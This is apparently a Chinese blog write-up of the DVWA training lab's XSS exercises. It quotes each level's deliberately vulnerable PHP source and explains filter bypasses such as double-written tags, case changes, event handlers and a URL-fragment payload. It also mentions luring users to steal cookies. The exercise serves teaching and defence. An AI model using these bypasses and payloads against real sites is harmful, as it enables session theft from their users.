    这个用的白名单,一开始我也感觉没有什么办法,知道后面看见了别人的笔记才发现,URL有一个比较关键的点就是#号后面的内容是会被服务器忽略的,而这里用的JS是提取default=后面的所有内容,包括#,这样#后面的JS代码也能够成功植入,payload:

    ?default=English#<script>alert(1);</script>
    

    Impossible

    这个竟然不URL解码直接贴上来。。好吧

    Reflected Cross Site Scripting (XSS)

    Low

    源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?>
    

    通过简单的拼接将输入的name反馈到前端,直接<script>alert(1);</script>就能试出来了,这种攻击方式主要是诱导用户点击危险的url配合vps导致Cookie被盗取,像上面的是直接get传参的,那么对后面的利用语句进行url编码,就能欺骗一般人去点击。

    Medium

    源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?>
    

    简单的过滤,这种只要双写就能绕过了,过滤危险字符务必多次过滤。

    High

    源码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?>
    

    这里的防御思路是过滤<script>标签,但是并不一定只有这种标签才能触发js函数,除此之外可以用onload事件,onerror事件,onclick事件,onkeydown事件等等。

    Impossible

    源码:

    
    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    

    最有效的办法就是用htmlspecialchars事件将所有危险字符转移掉,这样就比较难造成XSS

    Stored Cross Site Scripting (XSS)

    Low

    源码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitize name input
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?>
    

    从前端获得的用户输入不经过任何过滤直接存储,导致的XSS,这种类型相对于反射性利用起来更方便一点,然后这里还限制了输入长度,但是直接右键修改HTML就可以了,不需要抓包修改,另外这里的stripslashes用在这里干嘛的不是很懂,有哪位大佬看到希望可以指教一下。

    Medium

    源码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = str_replace( '<script>', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?>
    

    这里对message的过滤比较严谨,但是name的很薄弱,除了上面提到的使用其他标签绕过,还可以使用大小写绕过

    High

    源码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?>
    

    好吧。。依旧是没有考虑其他标签触发js事件的情况,同上。

    Impossible

    源码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = stripslashes( $message );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = stripslashes( $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $name = htmlspecialchars( $name );
    
        // Update database
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO::PARAM_STR );
        $data->bindParam( ':name', $name, PDO::PARAM_STR );
        $data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>
    

    这里用htmlspecialchars解决了XSS注入,但是这个函数默认不过滤单引号,最好还是要注意一下,不然在某些情况下还是能够绕过的。

  • 相关阅读:
    CSS3—— 2D转换 3D转换 过渡 动画
    CSS3——边框 圆角 背景 渐变 文本效果
    CSS3——表单 计数器 网页布局 应用实例
    CSS3——提示工具 图片廓 图像透明 图像拼接技术 媒体类型 属性选择器
    CSS3——对齐 组合选择符 伪类 伪元素 导航栏 下拉菜单
    CSS3——分组和嵌套 尺寸 display显示 position定位 overflow float浮动
    CSS3——盒子模型 border(边框) 轮廓(outline)属性 margin外边距 padding填充
    Eclipse连接数据库报错Local variable passwd defined in an enclosing scope must be final or effectively final
    数据库——单表查询
    数据库——添加,修改,删除
  • 原文地址:https://www.cnblogs.com/Rasang/p/12231128.html
Copyright © 2011-2022 走看看